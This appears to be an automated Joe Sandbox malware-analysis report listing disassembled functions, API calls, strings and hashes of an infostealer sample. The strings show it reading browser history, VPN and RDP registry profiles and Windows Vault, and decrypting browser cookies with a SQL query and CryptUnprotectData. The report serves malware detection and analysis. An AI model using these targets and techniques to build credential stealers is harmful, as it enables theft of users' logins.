Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: http
API String ID: 948891078-2541227442
Opcode ID: 53a529b8281706a7cfbc275746c8919f0409a2c91395af22e531bc4e924174c6
Instruction ID: a58f765ae214c2b165240bd356a142c958724292711b65321c94489cea9db8b1
Opcode Fuzzy Hash: 53a529b8281706a7cfbc275746c8919f0409a2c91395af22e531bc4e924174c6
Instruction Fuzzy Hash: 6641A132B09A42A5E750AF36D4503E9A7A0FF89B88F404132DB0E4BB68DF7CE145D710

Function 00007FF7327A9478 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81timesynchronizationCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7327A94BF
WaitForSingleObject.KERNEL32 ref: 00007FF7327A9505
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7327A9517
TerminateProcess.KERNEL32 ref: 00007FF7327A953A

Part of subcall function 00007FF7327A968C: PeekNamedPipe.KERNELBASE ref: 00007FF7327A96B8

GetExitCodeProcess.KERNEL32 ref: 00007FF7327A9585
CloseHandle.KERNEL32 ref: 00007FF7327A9593

Strings

exit, xrefs: 00007FF7327A9482

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Time$FileProcessSystem$CloseCodeExitHandleNamedObjectPeekPipeSingleTerminateWait
String ID: exit
API String ID: 1626563136-1626635026
Opcode ID: e8db0668784a4e42b00b615d6c0ccb33bfa89d96bba3dbda8ec61e812724d3ba
Instruction ID: 0e6a76dc2fe7078505155fb91561ab8b642fe958c07115221ec5568a3a371d6c
Opcode Fuzzy Hash: e8db0668784a4e42b00b615d6c0ccb33bfa89d96bba3dbda8ec61e812724d3ba
Instruction Fuzzy Hash: F9318522A08542E1EBC0FF35D450179A3A1FF9AB94FD41031EB0E86699DFACF855E720

Function 00007FF7327A1EEC Relevance: 12.2, APIs: 8, Instructions: 152commemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7327A1DE8: RegCreateKeyExA.ADVAPI32 ref: 00007FF7327A1E35

CoInitializeEx.OLE32 ref: 00007FF7327A1F1E
VariantInit.OLEAUT32 ref: 00007FF7327A1F28
CoCreateInstance.OLE32 ref: 00007FF7327A1F50
SysAllocString.OLEAUT32 ref: 00007FF7327A1F61
SafeArrayCreateVector.OLEAUT32 ref: 00007FF7327A1F7D
SafeArrayAccessData.OLEAUT32 ref: 00007FF7327A1F93
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF7327A1FAC
SysFreeString.OLEAUT32 ref: 00007FF7327A2111

Part of subcall function 00007FF7327A1CBC: GetTempPathA.KERNEL32 ref: 00007FF7327A1CF7
Part of subcall function 00007FF7327A1CBC: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7327A1D04
Part of subcall function 00007FF7327A1CBC: wsprintfA.USER32 ref: 00007FF7327A1D1C
Part of subcall function 00007FF7327A1CBC: CreateFileA.KERNEL32 ref: 00007FF7327A1D56
Part of subcall function 00007FF7327A1CBC: WriteFile.KERNEL32 ref: 00007FF7327A1D88
Part of subcall function 00007FF7327A1CBC: CloseHandle.KERNEL32 ref: 00007FF7327A1DA9
Part of subcall function 00007FF7327A1CBC: ShellExecuteA.SHELL32 ref: 00007FF7327A1DCE

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Create$ArrayFileSafe$DataStringTime$AccessAllocCloseExecuteFreeHandleInitInitializeInstancePathShellSystemTempUnaccessVariantVectorWritewsprintf
String ID:
API String ID: 1750269033-0
Opcode ID: 35f14d03cfaf8c97af958c557d0a79d7db1ea00b24c4592062ca6e010514b8e8
Instruction ID: 5fd5126c9e9e0b5dbf1874c40ab49c08b278a9cde952fc1b33dd932f54131cb8
Opcode Fuzzy Hash: 35f14d03cfaf8c97af958c557d0a79d7db1ea00b24c4592062ca6e010514b8e8
Instruction Fuzzy Hash: B0614B22B08A06A5EB04EF65D4543ED63A0FB49F88F848031CF0E87B58DE79E509D360

Function 00007FF7327AECBC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7327A25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7327A1985,?,?,?,00007FF7327A155F), ref: 00007FF7327A25E5

__memcpy.DELAYIMP ref: 00007FF7327AED43

Part of subcall function 00007FF7327B0114: __memcpy.DELAYIMP ref: 00007FF7327B0145
Part of subcall function 00007FF7327B0114: __memcpy.DELAYIMP ref: 00007FF7327B0153

Part of subcall function 00007FF7327AEB94: lstrlenA.KERNEL32 ref: 00007FF7327AEBB1

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

Strings

urls, xrefs: 00007FF7327AED0C
table, xrefs: 00007FF7327AECEE
last_visit_time, xrefs: 00007FF7327AED9F
url, xrefs: 00007FF7327AED8C

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: d5d9a79c7b40b120fcd0d5f95854f23203b021debaa7a14ff8f866156a15b791
Instruction ID: cf297d38b9eaa77b0940d91d380931b00e79ee082de57e5817b5d914ea773780
Opcode Fuzzy Hash: d5d9a79c7b40b120fcd0d5f95854f23203b021debaa7a14ff8f866156a15b791
Instruction Fuzzy Hash: 5831A722A1D68262EAA0EB26E4401BEE350FF8ABD0F804031DF4D47795EEBCF455E750

Function 00007FF7327AEEDC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7327A25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7327A1985,?,?,?,00007FF7327A155F), ref: 00007FF7327A25E5

__memcpy.DELAYIMP ref: 00007FF7327AEF63

Part of subcall function 00007FF7327B0114: __memcpy.DELAYIMP ref: 00007FF7327B0145
Part of subcall function 00007FF7327B0114: __memcpy.DELAYIMP ref: 00007FF7327B0153

Part of subcall function 00007FF7327AEB94: lstrlenA.KERNEL32 ref: 00007FF7327AEBB1

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

Strings

table, xrefs: 00007FF7327AEF0E
last_visit_date, xrefs: 00007FF7327AEFBF
moz_places, xrefs: 00007FF7327AEF2C
url, xrefs: 00007FF7327AEFAC

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_date$moz_places$table$url
API String ID: 2336645791-66087218
Opcode ID: f9355e031720a999b2833bedf3602efa1e9d778dc8acbfa60e7b4b373426d685
Instruction ID: 12f89d51fd89f4c3e2ad465ad35f16e4b8edbb99de4fdc8f9ab9442430590c88
Opcode Fuzzy Hash: f9355e031720a999b2833bedf3602efa1e9d778dc8acbfa60e7b4b373426d685
Instruction Fuzzy Hash: 7631B82260974261EAA4FB26E4411AAA350FF9ABD0FC04132DF4E47795EEBDF447E710

Function 00007FF7327AF108 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7327A25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7327A1985,?,?,?,00007FF7327A155F), ref: 00007FF7327A25E5

__memcpy.DELAYIMP ref: 00007FF7327AF18F

Part of subcall function 00007FF7327B0114: __memcpy.DELAYIMP ref: 00007FF7327B0145
Part of subcall function 00007FF7327B0114: __memcpy.DELAYIMP ref: 00007FF7327B0153

Part of subcall function 00007FF7327AEB94: lstrlenA.KERNEL32 ref: 00007FF7327AEBB1

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

Strings

urls, xrefs: 00007FF7327AF158
table, xrefs: 00007FF7327AF13A
last_visit_time, xrefs: 00007FF7327AF1EB
url, xrefs: 00007FF7327AF1D8

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: e545b317cdac597c395dbcae4aa48d93bb7f4768476dea28865c2df9a88b3085
Instruction ID: 1a961135c200279a029bf47a958f5dbef472aea9eb9d1b4770ca0926d445f449
Opcode Fuzzy Hash: e545b317cdac597c395dbcae4aa48d93bb7f4768476dea28865c2df9a88b3085
Instruction Fuzzy Hash: 9831BA2160D782A1EAA0FB26E4401AAA350FF8ABD0F808031DF5D47795EEBDF546E751

Function 00007FF7327AE3AC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7327AE3DC
PathAppendW.SHLWAPI ref: 00007FF7327AE3EA

Strings

":", xrefs: 00007FF7327AE481
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF7327AE3D0
"},, xrefs: 00007FF7327AE49F

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: AppendPathlstrcpy
String ID: ":"$"},$Software\Fortinet\FortiClient\Sslvpn\Tunnels
API String ID: 3043196718-4231764533
Opcode ID: 8f58ea5ad3b518f49ceb7b46cbd7adf588816f50efc6b121aa6a33ae32cd25e4
Instruction ID: 8f08afd6ce1914e99465b233d369551185649462ece1dc1f13932e550d950e12
Opcode Fuzzy Hash: 8f58ea5ad3b518f49ceb7b46cbd7adf588816f50efc6b121aa6a33ae32cd25e4
Instruction Fuzzy Hash: 6A31B172A18A81A5EA60EF61E4041E9A365FB8EBD0F844132EF5D07799CE7CE504D710

Function 00007FF7327A1DE8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00007FF7327A1E35
RegSetValueExA.ADVAPI32 ref: 00007FF7327A1EBE
RegCloseKey.ADVAPI32 ref: 00007FF7327A1ED1

Strings

?, xrefs: 00007FF7327A1E29

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: CloseCreateValue
String ID: ?
API String ID: 1818849710-1684325040
Opcode ID: 95ba9ea116202154f80c3a303d626d01697fe8fb572a65aab9065d47d504427e
Instruction ID: f1c38058cba22c6b223779eb70aba6fdfdd2fc49804ff7ede0087b1ed22006e7
Opcode Fuzzy Hash: 95ba9ea116202154f80c3a303d626d01697fe8fb572a65aab9065d47d504427e
Instruction Fuzzy Hash: 5521C473A187809AE7209F75A8402EDBBA0FB5D7A8B944225EB8D03B59DF7CD144DB10

Function 00007FF7327AE604 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7327AE623
PathAppendW.SHLWAPI ref: 00007FF7327AE631

Part of subcall function 00007FF7327ACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7327ACD37
Part of subcall function 00007FF7327ACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7327ACD76

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

Strings

Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF7327AE617
"},, xrefs: 00007FF7327AE6AF

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: HeapValue$AppendFreePathProcesslstrcpy
String ID: "},$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles
API String ID: 784796242-1893226844
Opcode ID: cb7a6499aa34e5c2d2a12428343009169a242363acc74ead088cd1ca5e2489a2
Instruction ID: 9d84ae9a93bd8027b7a39ac97e680e3b814b634f5994889407e6b0ef57614a88
Opcode Fuzzy Hash: cb7a6499aa34e5c2d2a12428343009169a242363acc74ead088cd1ca5e2489a2
Instruction Fuzzy Hash: 8C116012A08682A0E960FB51E8552FAE351FF8EBD0FC45131EB5E477AADEACF104D750

Function 00007FF7327ACBF4 Relevance: 6.1, APIs: 4, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF7327ACC39
RegEnumKeyExW.ADVAPI32 ref: 00007FF7327ACC73
RegEnumKeyExW.ADVAPI32 ref: 00007FF7327ACCC2
RegCloseKey.ADVAPI32 ref: 00007FF7327ACCD1

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Enum$CloseOpen
String ID:
API String ID: 1701607978-0
Opcode ID: ef76d64d6cf8778b5dc3921a799c46b9aee72b0b08683383b909529c2558360e
Instruction ID: 7088c77838419d1c8a80789f1de5bf4e6231b11464886ef515f9466b212e123f
Opcode Fuzzy Hash: ef76d64d6cf8778b5dc3921a799c46b9aee72b0b08683383b909529c2558360e
Instruction Fuzzy Hash: 49218933618B8992D3108F11E4807AAB7B8F788B84F540236EB8D43B28CF7DE559CB00

Function 00007FF7327AE4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7327AE500
PathAppendW.SHLWAPI ref: 00007FF7327AE50E

Part of subcall function 00007FF7327ACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7327ACD37
Part of subcall function 00007FF7327ACCF8: RegGetValueW.ADVAPI32 ref: 00007FF7327ACD76

Strings

Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF7327AE4F4

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Value$AppendPathlstrcpy
String ID: Software\Microsoft\Terminal Server Client\Servers
API String ID: 19203174-1233151749
Opcode ID: 5ebd68a201dc03246a0378e0b7619f1cb579af44d90274066901a23859bd5563
Instruction ID: 4ae058ff155d917f5c3b2da497787f6b247454a1280649d98fca5bb6b570f038
Opcode Fuzzy Hash: 5ebd68a201dc03246a0378e0b7619f1cb579af44d90274066901a23859bd5563
Instruction Fuzzy Hash: 5E21B171618A82A5DAA0FF61D8142EEA351FB8EBD0F844131EB4D4B799DE7CE604D710

Function 00007FF7327AFDE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7327AFE11
lstrcatW.KERNEL32 ref: 00007FF7327AFE1E

Part of subcall function 00007FF7327AFF3C: lstrlenW.KERNEL32 ref: 00007FF7327AFF62
Part of subcall function 00007FF7327AFF3C: lstrlenW.KERNEL32 ref: 00007FF7327AFF7E
Part of subcall function 00007FF7327AFF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF7327AFFA7
Part of subcall function 00007FF7327AFF3C: PathFileExistsA.SHLWAPI ref: 00007FF7327AFFB0
Part of subcall function 00007FF7327AFF3C: OpenFile.KERNEL32 ref: 00007FF7327AFFC9
Part of subcall function 00007FF7327AFF3C: GetFileSize.KERNEL32 ref: 00007FF7327AFFE9
Part of subcall function 00007FF7327AFF3C: CreateFileMappingA.KERNEL32 ref: 00007FF7327B0020
Part of subcall function 00007FF7327AFF3C: MapViewOfFile.KERNEL32 ref: 00007FF7327B0041
Part of subcall function 00007FF7327AFF3C: __memcpy.DELAYIMP ref: 00007FF7327B0053
Part of subcall function 00007FF7327AFF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF7327B005E
Part of subcall function 00007FF7327AFF3C: CloseHandle.KERNEL32 ref: 00007FF7327B0067
Part of subcall function 00007FF7327AFF3C: CloseHandle.KERNEL32 ref: 00007FF7327B0070

Part of subcall function 00007FF7327AF280: __memcpy.DELAYIMP ref: 00007FF7327AF29E

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

Strings

APPDATA, xrefs: 00007FF7327AFE0A

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: File$CloseHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcat
String ID: APPDATA
API String ID: 2395011915-4054820676
Opcode ID: 51cede005e5ac96b491f91fff2636ad4a4e1208d626e6509ebede37ba1166343
Instruction ID: 29dc9c05b3854f2a6d1bf41bd3edcb2ca513223632ed62a118cbdac3a72f3984
Opcode Fuzzy Hash: 51cede005e5ac96b491f91fff2636ad4a4e1208d626e6509ebede37ba1166343
Instruction Fuzzy Hash: 53118E22728A82A1EB50EB10E4405EEB360FF99794FC04031EB8D87A59EFBDE509C750

Analysis Process: explorer.exePID: 2140, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	50.5%
Signature Coverage:	3.2%
Total number of Nodes:	784
Total number of Limit Nodes:	75

Executed Functions

Function 030F3717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030F1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030F2893,00000000,00000000,00000000,?), ref: 030F1B82
Part of subcall function 030F1B6A: CloseHandle.KERNELBASE(00000000), ref: 030F1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 030F3778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 030F3782
DeleteFileW.KERNELBASE(00000000), ref: 030F3789
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 030F3794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 030F383B
RtlZeroMemory.NTDLL(?,00000040), ref: 030F3870
lstrlen.KERNEL32(?,?,?,?,?), ref: 030F398B
lstrlen.KERNEL32(00000000), ref: 030F399A
wsprintfA.USER32 ref: 030F39F1
lstrlen.KERNEL32(00000000,?,?), ref: 030F39FD
lstrcat.KERNEL32(00000000,?), ref: 030F3A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 030F3A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 030F3B13
lstrlen.KERNEL32(00000000), ref: 030F3B22
wsprintfA.USER32 ref: 030F3B79
lstrlen.KERNEL32(00000000), ref: 030F3B85
lstrcat.KERNEL32(00000000,?), ref: 030F3BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 030F3BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030F3C16

Strings

TRUE, xrefs: 030F39C9, 030F3B51
COOKIES, xrefs: 030F3BE8, 030F3BED, 030F3BF6
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 030F37C3
0, xrefs: 030F3828
%sTRUE%s%s%s%s%s, xrefs: 030F39EB, 030F3B73
FALSE, xrefs: 030F39BC, 030F3B3C
v1, xrefs: 030F3821

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 584740257-404540950
Opcode ID: a0a418b429739a899f18b34f6524f3e5fa9308bc1fdfd1c9593e1b216a2bf6f5
Instruction ID: 1f43145a1ef64fca1b4684a98e110f6f7dafb6cb918b6087005b0b75c78a49ac
Opcode Fuzzy Hash: a0a418b429739a899f18b34f6524f3e5fa9308bc1fdfd1c9593e1b216a2bf6f5
Instruction Fuzzy Hash: A0E1BF7820A341AFD719EF25C840B6FBBE9AFC9754F08496CF6858B650DB35C844CB62

Function 030F2198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 030F21AF
GetVersionExW.KERNEL32(?), ref: 030F21BE
LoadLibraryW.KERNELBASE(vaultcli.dll), ref: 030F21E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 030F220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 030F2214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 030F2220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 030F222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 030F2236
RtlCompareMemory.NTDLL(?,03151110,00000010), ref: 030F22E8
RtlCompareMemory.NTDLL(?,03151110,00000010), ref: 030F236C

Part of subcall function 030F1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030F2F0C), ref: 030F1973
Part of subcall function 030F1953: lstrlenW.KERNEL32(03146564,?,?,030F2F0C), ref: 030F1978
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,?,?,?,030F2F0C), ref: 030F1990
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,03146564,?,?,030F2F0C), ref: 030F1994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 030F23FE
FreeLibrary.KERNELBASE(00000000), ref: 030F2493

Strings

VaultEnumerateItems, xrefs: 030F2216
VaultOpenVault, xrefs: 030F2204
VaultCloseVault, xrefs: 030F220C
VaultGetItem, xrefs: 030F2222
Internet Explorer, xrefs: 030F23F8
vaultcli.dll, xrefs: 030F21E3
VaultFree, xrefs: 030F222C

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
